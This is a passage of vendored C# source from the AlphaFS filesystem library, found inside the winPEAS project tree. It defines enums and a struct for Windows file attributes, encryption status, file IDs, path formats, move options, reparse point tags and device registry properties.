Alphaleonis.Win32.Filesystem { /// Specifies how the operating system should open a file. [SuppressMessage("Microsoft.Usage", "CA2217:DoNotMarkEnumsWithFlags")] [Flags] public enum ExtendedFileAttributes { /// If you pass , the set of attributes is unspecified. explicitly sets no attributes. None = 0, #region FILE_ATTRIBUTE - Attributes applying to any file /// The file is read only. Applications can read the file, but cannot write to or delete it. /// Equals 1 ReadOnly = FileAttributes.ReadOnly, /// The file is hidden. Do not include it in an ordinary directory listing. /// Equals 2 Hidden = FileAttributes.Hidden, /// The file is part of or used exclusively by an operating system. /// Equals 4 System = FileAttributes.System, /// The handle that identifies a directory. /// Equals 16 Directory = FileAttributes.Directory, /// The file should be archived. Applications use this attribute to mark files for backup or removal. /// Equals 32 Archive = FileAttributes.Archive, /// Reserved for future use. /// Equals 64 Device = FileAttributes.Device, /// The file does not have other attributes set. This attribute is valid only if used alone. /// Equals 128 Normal = FileAttributes.Normal, /// The file is being used for temporary storage. /// Equals 256 Temporary = FileAttributes.Temporary, /// A file that is a sparse file. /// Equals 512 SparseFile = FileAttributes.SparseFile, /// A file or directory that has an associated reparse point, or a file that is a symbolic link. /// Equals 1024 ReparsePoint = FileAttributes.ReparsePoint, /// A file or directory that is compressed. For a file, all of the data in the file is compressed. For a directory, compression is the default for newly created files and subdirectories. /// Equals 2048 Compressed = FileAttributes.Compressed, /// The data of a file is not immediately available. This attribute indicates that file data is physically moved to offline storage. This attribute is used by Remote Storage, the hierarchical storage management software. Applications should not arbitrarily change this attribute. /// Equals 4096 Offline = FileAttributes.Offline, /// The file or directory is not to be indexed by the content indexing service. /// Equals 8192 NotContentIndexed = FileAttributes.NotContentIndexed, /// The file or directory is encrypted. For a file, this means that all data in the file is encrypted. For a directory, this means that encryption is the default for newly created files and subdirectories. /// Equals 16384 Encrypted = FileOptions.Encrypted, #endregion // FILE_ATTRIBUTE - Attributes applying to any file /// The directory or user data stream is configured with integrity (only supported on ReFS volumes). It is not included in an ordinary directory listing. The integrity setting persists with the file if it's renamed. If a file is copied the destination file will have integrity set if either the source file or destination directory have integrity set. /// This flag is not supported until Windows Server 2012. IntegrityStream = 32768, /// The user data stream not to be read by the background data integrity scanner (AKA scrubber). When set on a directory it only provides inheritance. This flag is only supported on Storage Spaces and ReFS volumes. It is not included in an ordinary directory listing. /// This flag is not supported until Windows Server 2012. NoScrubData = 131072, /// ... FirstPipeInstance = 524288, /// The file data is requested, but it should continue to be located in remote storage. It should not be transported back to local storage. This flag is for use by remote storage systems. OpenNoRecall = 1048576, /// Normal reparse point processing will not occur; an attempt to open the reparse point will be made. When a file is opened, a file handle is returned, whether or not the filter that controls the reparse point is operational. See MSDN documentation for more information. OpenReparsePoint = 2097152, /// Access will occur according to POSIX rules. This includes allowing multiple files with names, differing only in case, for file systems that support that naming. Use care when using this option, because files created with this flag may not be accessible by applications that are written for MS-DOS or 16-bit Windows. [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Posix")] PosixSemantics = 16777216, /// The file is being opened or created for a backup or restore operation. The system ensures that the calling process overrides file security checks when the process has SE_BACKUP_NAME and SE_RESTORE_NAME privileges. You must set this flag to obtain a handle to a directory. A directory handle can be passed to some functions instead of a file handle. BackupSemantics = 33554432, /// The file is to be deleted immediately after all of its handles are closed, which includes the specified handle and any other open or duplicated handles. If there are existing open handles to a file, the call fails unless they were all opened with the share mode. Subsequent open requests for the file fail, unless the share mode is specified. /// Equals 67108864 DeleteOnClose = FileOptions.DeleteOnClose, /// Access is intended to be sequential from beginning to end. The system can use this as a hint to optimize file caching. /// Equals 134217728 SequentialScan = FileOptions.SequentialScan, /// Access is intended to be random. The system can use this as a hint to optimize file caching. /// Equals 268435456 RandomAccess = FileOptions.RandomAccess, /// There are strict requirements for successfully working with files opened with the flag, for details see the section on "File Buffering" in the online MSDN documentation. NoBuffering = 536870912, /// The file or device is being opened or created for asynchronous I/O. /// Equals 1073741824 Overlapped = FileOptions.Asynchronous, /// Write operations will not go through any intermediate cache, they will go directly to disk. /// Equals .NET -2147483648 WriteThrough = FileOptions.WriteThrough } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Structures, Enumerations/FileEncryptionStatus.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Diagnostics.CodeAnalysis; namespace Alphaleonis.Win32.Filesystem { /// Represents the encryption status of the specified file. public enum FileEncryptionStatus { /// The file can be encrypted. [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Encryptable")] Encryptable = 0, /// The file is encrypted. Encrypted = 1, /// The file is a system file. System files cannot be encrypted. SystemFile = 2, /// The file is a root directory. Root directories cannot be encrypted. RootDirectory = 3, /// The file is a system directory. System directories cannot be encrypted. SystemDirectory = 4, /// The encryption status is unknown. The file may be encrypted. Unknown = 5, /// The file system does not support file encryption. [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Filesystem")] NoFilesystemSupport = 6, /// Reserved for future use. UserDisallowed = 7, /// The file is a read-only file. ReadOnly = 8 } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Structures, Enumerations/FileIdInfo.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Globalization; namespace Alphaleonis.Win32.Filesystem { /// Contains information that the GetFileInformationByHandle function retrieves. [Serializable] public struct FileIdInfo : IComparable, IComparable, IEquatable { #region Fields [NonSerialized] private readonly long _volumeSerialNumber; [NonSerialized] private readonly long _fileIdHighPart; [NonSerialized] private readonly long _fileIdLowPart; #endregion // Fields #region Constructors internal FileIdInfo(NativeMethods.BY_HANDLE_FILE_INFORMATION fibh) { _volumeSerialNumber = fibh.dwVolumeSerialNumber; _fileIdHighPart = 0; _fileIdLowPart = NativeMethods.ToLong(fibh.nFileIndexHigh, fibh.nFileIndexLow); } internal FileIdInfo(NativeMethods.FILE_ID_INFO fi) { _volumeSerialNumber = fi.VolumeSerialNumber; // The identifier is stored in the array of fi.FileId so that the lowest byte is at index 0. ArrayToLong(fi.FileId, 0, 8, out _fileIdLowPart); ArrayToLong(fi.FileId, 8, 8, out _fileIdHighPart); } #endregion // Constructors #region Methods /// Construct the value stored in a byte array ordered in Little-Endian. /// The array containing the bytes. /// The starting index. /// The number of bytes to convert. /// The output value. private static void ArrayToLong(byte[] fileId, int startIndex, int count, out long value) { value = 0; for (var i = 0; i < count; i++) value |= (long) fileId[startIndex + i] << (8 * i); } /// Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, follows, or occurs in the same position in the sort order as the other object. /// An object to compare with this instance. /// A value that indicates the relative order of the objects being compared. The return value has these meanings: Value Meaning Less than zero This instance precedes in the sort order. Zero This instance occurs in the same position in the sort order as . Greater than zero This instance follows in the sort order. public int CompareTo(object obj) { if (null == obj) return 1; if (!(obj is FileIdInfo)) throw new ArgumentException("Object must be of type FileIdInfo"); return CompareTo((FileIdInfo) obj); } /// Compares the current object with another object of the same type. /// An object to compare with this object. /// A value that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the parameter.Zero This object is equal to . Greater than zero This object is greater than . public int CompareTo(FileIdInfo other) { return _volumeSerialNumber != other._volumeSerialNumber ? Math.Sign(_volumeSerialNumber - other._volumeSerialNumber) : (_fileIdHighPart != other._fileIdHighPart ? Math.Sign(_fileIdHighPart - other._fileIdHighPart) : Math.Sign(_fileIdLowPart - other._fileIdLowPart)); } /// Returns a that represents this instance. /// A that represents this instance. public override string ToString() { unchecked { // The identifier is composed of 64-bit volume serial number and 128-bit file system entry identifier. return string.Format(CultureInfo.InvariantCulture, "{0}-{1}-{2} : {3}-{4}-{5}", ((uint) (_volumeSerialNumber >> 32)).ToString("X", CultureInfo.InvariantCulture), ((ushort) (_volumeSerialNumber >> 16)).ToString("X", CultureInfo.InvariantCulture), ((ushort) _volumeSerialNumber).ToString("X", CultureInfo.InvariantCulture), _fileIdHighPart.ToString("X", CultureInfo.InvariantCulture), ((uint) (_fileIdLowPart >> 32)).ToString("X", CultureInfo.InvariantCulture), ((uint) _fileIdLowPart).ToString("X", CultureInfo.InvariantCulture)); } } /// Returns a hash code for this instance. /// A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. public override int GetHashCode() { unchecked { // _fileIdHighPart is 0 on NTFS and should be often 0 on ReFS, thus ignore it. return (int) _fileIdLowPart ^ ((int) (_fileIdLowPart >> 32) | (int) _volumeSerialNumber); } } /// Indicates whether the current object is equal to another object of the same type. /// An object to compare with this object. /// true if the current object is equal to the parameter; otherwise, false. public bool Equals(FileIdInfo other) { return _fileIdLowPart == other._fileIdLowPart && _fileIdHighPart == other._fileIdHighPart && _volumeSerialNumber == other._volumeSerialNumber; } /// Determines whether the specified , is equal to this instance. /// The to compare with this instance. /// true if the specified is equal to this instance; otherwise, false. public override bool Equals(object obj) { return obj is FileIdInfo && Equals((FileIdInfo) obj); } /// Indicates whether the values of two specified objects are equal. /// The first object to compare. /// The second object to compare. /// true if and are equal; otherwise, false. public static bool operator ==(FileIdInfo first, FileIdInfo second) { return first._fileIdLowPart == second._fileIdLowPart && first._fileIdHighPart == second._fileIdHighPart && first._volumeSerialNumber == second._volumeSerialNumber; } /// Indicates whether the values of two specified objects are not equal. /// The first object to compare. /// The second object to compare. /// true if and are not equal; otherwise, false. public static bool operator !=(FileIdInfo first, FileIdInfo second) { return first._fileIdLowPart != second._fileIdLowPart || first._fileIdHighPart != second._fileIdHighPart || first._volumeSerialNumber != second._volumeSerialNumber; } /// Implements the operator <. /// The first operand. /// The second operand. /// The result of the operator. public static bool operator <(FileIdInfo first, FileIdInfo second) { // Note: Must be tested in this order. return first._volumeSerialNumber < second._volumeSerialNumber || first._fileIdHighPart < second._fileIdHighPart || first._fileIdLowPart < second._fileIdLowPart; } /// Implements the operator >. /// The first operand. /// The second operand. /// The result of the operator. public static bool operator >(FileIdInfo first, FileIdInfo second) { // Note: Must be tested in this order. return first._volumeSerialNumber > second._volumeSerialNumber || first._fileIdHighPart > second._fileIdHighPart || first._fileIdLowPart > second._fileIdLowPart; } #endregion // Methods } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Structures, Enumerations/FinalPathFormats.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; namespace Alphaleonis.Win32.Filesystem { /// Determines the format to convert a path to using . [Flags] public enum FinalPathFormats { /// (FileNameNormalized / VolumeNameDos) Return the normalized drive name. This is the default. None = 0, /// Return the path with a volume GUID path instead of the drive name. VolumeNameGuid = 1, /// Return the path with the volume device path. VolumeNameNT = 2, /// Return the path with no drive information. VolumeNameNone = 4, /// Return the opened file name (not normalized). FileNameOpened = 8 } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Structures, Enumerations/GetFullPathOptions.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; namespace Alphaleonis.Win32.Filesystem { /// A bitfield of flags for specifying options for various internal operations that convert paths to full paths. [Flags] public enum GetFullPathOptions { /// No special options applies. None = 0, /// Remove any trailing whitespace from the path. TrimEnd = 1, /// Add a trailing directory separator to the path (if one does not already exist). AddTrailingDirectorySeparator = 2, /// Remove the trailing directory separator from the path (if one exists). RemoveTrailingDirectorySeparator = 4, /// Return full path as long full path (Unicode format). Not valid for . AsLongPath = 8, /// Prevents any exception from being thrown if a filesystem object does not exist. Not valid for . ContinueOnNonExist = 16, /// Check that the path contains only valid path-characters. CheckInvalidPathChars = 32, /// Also check for wildcard (? and *) characters. CheckAdditional = 64, /// Do not trim the trailing dot or space. KeepDotOrSpace = 128, /// Performs both and checks. FullCheck = CheckInvalidPathChars | CheckAdditional } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Structures, Enumerations/MoveOptions.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Diagnostics.CodeAnalysis; namespace Alphaleonis.Win32.Filesystem { /// Used by MoveFileXxx.Flags that specify how a file or directory is to be moved. [Flags] public enum MoveOptions { /// No MoveOptions used, this fails when the file name already exists. None = 0, /// MOVE_FILE_REPLACE_EXISTSING /// If the destination file name already exists, the function replaces its contents with the contents of the source file. /// This value cannot be used if lpNewFileName or lpExistingFileName names a directory. /// This value cannot be used if either source or destination names a directory. /// ReplaceExisting = NativeMethods.MOVE_FILE_FLAGS.MOVE_FILE_REPLACE_EXISTSING, /// MOVE_FILE_COPY_ALLOWED /// If the file is to be moved to a different volume, the function simulates the move by using the CopyFile and DeleteFile functions. /// This value cannot be used with . /// CopyAllowed = NativeMethods.MOVE_FILE_FLAGS.MOVE_FILE_COPY_ALLOWED, /// MOVE_FILE_DELAY_UNTIL_REBOOT /// /// The system does not move the file until the operating system is restarted. /// The system moves the file immediately after AUTOCHK is executed, but before creating any paging files. /// /// /// Consequently, this parameter enables the function to delete paging files from previous startups. /// This value can only be used if the process is in the context of a user who belongs to the administrators group or the LocalSystem account. /// /// This value cannot be used with . /// DelayUntilReboot = NativeMethods.MOVE_FILE_FLAGS.MOVE_FILE_DELAY_UNTIL_REBOOT, /// MOVE_FILE_WRITE_THROUGH /// The function does not return until the file has actually been moved on the disk. /// /// Setting this value guarantees that a move performed as a copy and delete operation is flushed to disk before the function returns. /// The flush occurs at the end of the copy operation. /// /// This value has no effect if is set. /// WriteThrough = NativeMethods.MOVE_FILE_FLAGS.MOVE_FILE_WRITE_THROUGH, /// MOVE_FILE_CREATE_HARDLINK /// Reserved for future use. /// [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Hardlink")] CreateHardlink = NativeMethods.MOVE_FILE_FLAGS.MOVE_FILE_CREATE_HARDLINK, /// MOVE_FILE_FAIL_IF_NOT_TRACKABLE /// The function fails if the source file is a link source, but the file cannot be tracked after the move. /// This situation can occur if the destination is a volume formatted with the FAT file system. /// [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Trackable")] FailIfNotTrackable = NativeMethods.MOVE_FILE_FLAGS.MOVE_FILE_FAIL_IF_NOT_TRACKABLE } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Structures, Enumerations/PathFormat.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ namespace Alphaleonis.Win32.Filesystem { /// Indicates the format of a path passed to a method. /// /// At some point in code you know the full path of file system objects, e.g.: "C:\Windows". /// For example, Directory.EnumerateFileSystemEntries() will return all files and directories from a given path. /// Most likely, some processing will happen on the results of the enum. The file or directory may be passed /// on to another function. Whenever a file path is required, some performance can be gained. ///   /// A path like: "C:\Windows" or "\\server\share" is considered a full path for a directory because it is rooted and has a drive/unc path. /// If the method supports it, and will skip GetFullPath() /// calls for path resolving of the object, while also avoiding path validation and checks. /// Using (default) will always call GetFullPath() and perform path validation and checks. ///   /// When working in a loop with thousands of files, will give the best performance. /// public enum PathFormat { /// The format of the path is automatically detected by the method and internally converted to an extended length path. /// It can be either a standard (short) full path, an extended length (unicode) full path or a relative path. /// Example relative path: "Windows". /// RelativePath, /// The path is a full path in either normal or extended length (UNICODE) format. /// Internally it will be converted to an extended length (UNICODE) path. /// Using this option has a very slight performance advantage compared to using . /// Example full path: "C:\Windows" or "\\server\share". /// FullPath, /// The path is an extended length path. No additional processing will be done on the path, and it will be used as-is. /// Using this option has a slight performance advantage compared to using . /// Example long full path: "\\?\C:\Windows" or "\\?\UNC\server\share". /// LongFullPath } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Structures, Enumerations/ReparsePointTag.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Diagnostics.CodeAnalysis; namespace Alphaleonis.Win32.Filesystem { /// Enumeration specifying the different reparse point tags. /// /// Reparse tags, with the exception of IO_REPARSE_TAG_SYMLINK, are processed on the server and are not processed by a client after transmission over the wire. /// Clients should treat associated reparse data as opaque data. /// public enum ReparsePointTag { /// The entry is not a reparse point. None = 0, /// IO_REPARSE_APPXSTREAM AppXStream = unchecked ((int) 3221225492), /// IO_REPARSE_TAG_CSV Csv = unchecked ((int) 2147483657), /// IO_REPARSE_TAG_DRIVER_EXTENDER /// Used by Home server drive extender. /// DriverExtender = unchecked ((int) 2147483653), /// IO_REPARSE_TAG_DEDUP [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Dedup")] Dedup = unchecked ((int) 2147483667), /// IO_REPARSE_TAG_DFS /// Used by the DFS filter. /// [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Dfs")] Dfs = unchecked ((int) 2147483658), /// IO_REPARSE_TAG_DFSR /// Used by the DFS filter. /// [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Dfsr")] Dfsr = unchecked ((int) 2147483666), /// IO_REPARSE_TAG_FILTER_MANAGER /// Used by filter manager test harness. /// FilterManager = unchecked ((int) 2147483659), /// IO_REPARSE_TAG_HSM /// (Obsolete) Used by legacy Hierarchical Storage Manager Product. /// [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Hsm")] Hsm = unchecked ((int) 3221225476), /// IO_REPARSE_TAG_HSM2 /// (Obsolete) Used by legacy Hierarchical Storage Manager Product. /// [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Hsm")] Hsm2 = unchecked ((int) 2147483654), /// IO_REPARSE_TAG_NFS /// NFS symlinks, Windows 8 / SMB3 and later. /// [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Nfs")] Nfs = unchecked ((int) 2147483668), /// IO_REPARSE_TAG_MOUNT_POINT /// Used for mount point support. /// MountPoint = unchecked ((int) 2684354563), /// IO_REPARSE_TAG_SIS /// Used by single-instance storage (SIS) filter driver. /// Sis = unchecked ((int) 2147483655), /// IO_REPARSE_TAG_SYMLINK /// Used for symbolic link support. /// [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Sym")] SymLink = unchecked ((int) 2684354572), /// IO_REPARSE_TAG_WIM [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Wim")] Wim = unchecked ((int) 2147483656) } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Structures, Enumerations/SetupDiGetDeviceRegistryPropertyEnum.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ namespace Alphaleonis.Win32.Filesystem { internal static partial class NativeMethods { /// Flags for SetupDiGetDeviceRegistryProperty(). internal enum SetupDiGetDeviceRegistryPropertyEnum { /// SPDRP_DEVICEDESC /// Represents a description of a device instance. /// DeviceDescription = 0, /// SPDRP_HARDWAREID /// Represents the list of hardware identifiers for a device instance. /// HardwareId = 1, /// SPDRP_COMPATIBLEIDS /// Represents the list of compatible identifiers for a device instance. /// CompatibleIds = 2, //SPDRP_UNUSED0 = 0x00000003, /// SPDRP_CLASS /// Represents the name of the service that is installed for a device instance. /// Service = 4, //SPDRP_UNUSED1 = 0x00000005, //SPDRP_UNUSED2 = 0x00000006, /// SPDRP_CLASS /// Represents the name of the device setup class that a device instance belongs to. /// Class = 7, /// SPDRP_CLASSGUID /// Represents the of the device setup class that a device instance belongs to. /// ClassGuid = 8, /// SPDRP_DRIVER /// Represents the registry entry name of the driver key for a device instance. /// Driver = 9, ///// SPDRP_CONFIGFLAGS ///// Represents the configuration flags that are set for a device instance. ///// //ConfigurationFlags = 10, /// SPDRP_MFG /// Represents the name of the manufacturer of a device instance. /// Manufacturer = 11, /// SPDRP_FRIENDLYNAME /// Represents the friendly name of a device instance. /// FriendlyName = 12, /// SPDRP_LOCATION_INFORMATION /// Represents the bus-specific physical location of a device instance. /// LocationInformation = 13, /// SPDRP_PHYSICAL_DEVICE_LOCATION /// Encapsulates the physical device location information provided by a device's firmware to Windows. /// PhysicalDeviceObjectName = 14, ///// SPDRP_CAPABILITIES //// Represents the capabilities of a device instance. //// //Capabilities = 15, ///// SPDRP_UI_NUMBER - Represents a number for the device instance that can be displayed in a user interface item. //UiNumber = 16, ///// SPDRP_UPPERFILTERS - Represents a list of the service names of the upper-level filter drivers that are installed for a device instance. //UpperFilters = 17, ///// SPDRP_LOWERFILTERS - Represents a list of the service names of the lower-level filter drivers that are installed for a device instance. //LowerFilters = 18, ///// SPDRP_BUSTYPEGUID - Represents the that identifies the bus type of a device instance. //BusTypeGuid = 19, ///// SPDRP_LEGACYBUSTYPE - Represents the legacy bus number of a device instance. //LegacyBusType = 20, ///// SPDRP_BUSNUMBER - Represents the number that identifies the bus instance that a device instance is attached to. //BusNumber = 21, /// SPDRP_ENUMERATOR_NAME /// Represents the name of the enumerator for a device instance. /// EnumeratorName = 22, ///// SPDRP_SECURITY - Represents a security descriptor structure for a device instance. //Security = 23, ///// SPDRP_SECURITY_SDS - Represents a security descriptor string for a device instance. //SecuritySds = 24, ///// SPDRP_DEVTYPE - Represents the device type of a device instance. //DeviceType = 25, ///// SPDRP_EXCLUSIVE - Represents a Boolean value that determines whether a device instance can be opened for exclusive use. //Exclusive = 26, ///// SPDRP_CHARACTERISTICS - Represents the characteristics of a device instance. //Characteristics = 27, ///// SPDRP_ADDRESS - Represents the bus-specific address of a device instance. //Address = 28, ///// 